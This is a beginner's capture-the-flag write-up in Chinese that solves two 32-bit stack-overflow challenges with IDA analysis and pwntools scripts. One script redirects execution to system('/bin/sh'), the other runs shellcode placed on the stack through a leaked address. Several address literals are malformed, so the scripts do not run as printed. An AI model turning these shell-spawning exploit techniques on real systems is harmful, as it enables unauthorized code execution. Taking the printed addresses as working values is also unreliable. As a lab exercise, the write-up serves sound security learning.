Get a shell , come on !
題目1:https://pan.baidu.com/s/1dTE2MxfBvVYTS0MhJwj_vw
提取碼:7wbc
工具:gdb
題解:
1、首先file stack_3一下,32位的,gdb ./stack_3一下,run一下,輸入即報錯。
用ida打開,點進main函數,f5編譯一下,讀一下吧。
2、
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-10h]
memset(&s, 0, 16);//memset用於清空數組
puts("Input something...!");
read(0, &s, 64);//從文件中讀取數據
return 0;
}
讀代碼得:read函數可以從標準輸入那讀取64個字符到緩衝區s, 然而緩衝區s的大小是16, 所以有棧溢出。
3、點開system函數看,竟然是“echo how to do?”,我們想要執行“bin/sh”來獲得權限,找一下吧,shift+f12找到了“bin/sh”所在地址,好的,因爲要回主函數,所以找到system_plt ,哦還要找個臨界值28,好了開始寫腳本吧。
from pwn import *
system_plt=0x0804837
binsh_addr=0804A02C
p=process('./stack_3')
p.recvuntil("Input something...!")
payload='a'*28 + p32(system_plt) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload)
p.interactive()
跑一下,哇,獲得權限了。
知識點
1、讀懂僞代碼(memset,read),找得到溢出值,system_plt和binsh_addr。
2、寫python腳本。
3、要懂棧溢出
(qwq,不知道爲什麼知識點僅寫了這麼點,我可是剛碰pwn啊,不應該很多嗎)
題目2:https://pan.baidu.com/s/10aTSCCZ_WrxxTwsnzYXFTg
提取碼:volv
題解:
1、checksec看保護機制,ida靜態分析,確定緩衝區到返回地址的距離。
2、找不到“bin/sh”(shift+f12或在system中找)怎麼辦。執行shellcode來得到一個shell.
3、怎麼執行shellcode?把shellcode放到棧上,把返回地址覆蓋爲shellcode。
4、shellcode怎麼放到棧上,放在哪裏,地址呢?題中已經泄露了緩衝區buf的地址,把shellcode放到buf中吧。
(他給的地址不能用,因爲隨機地址保護機制是打開的,所以要在執行的時候獲得地址)
那麼腳本如下:
from pwn import *
p=process('./stack_2')
data=p.recvuntil("?\n")
shellcode_addr=int(data[22:32],16)
#獲取地址
shellcode=asm(shellcraft.i386.linux.sh(),arch='i386')
#構造shellcode
payload=shellcode + 'a'*(76-len(shellcode)) + p32(shellcode_addr)
""“
構造payload
"""
p.sendline(payload)
p.interactive()
知識點:
1、利用pwntools構造shellcode
2、如何獲取buf地址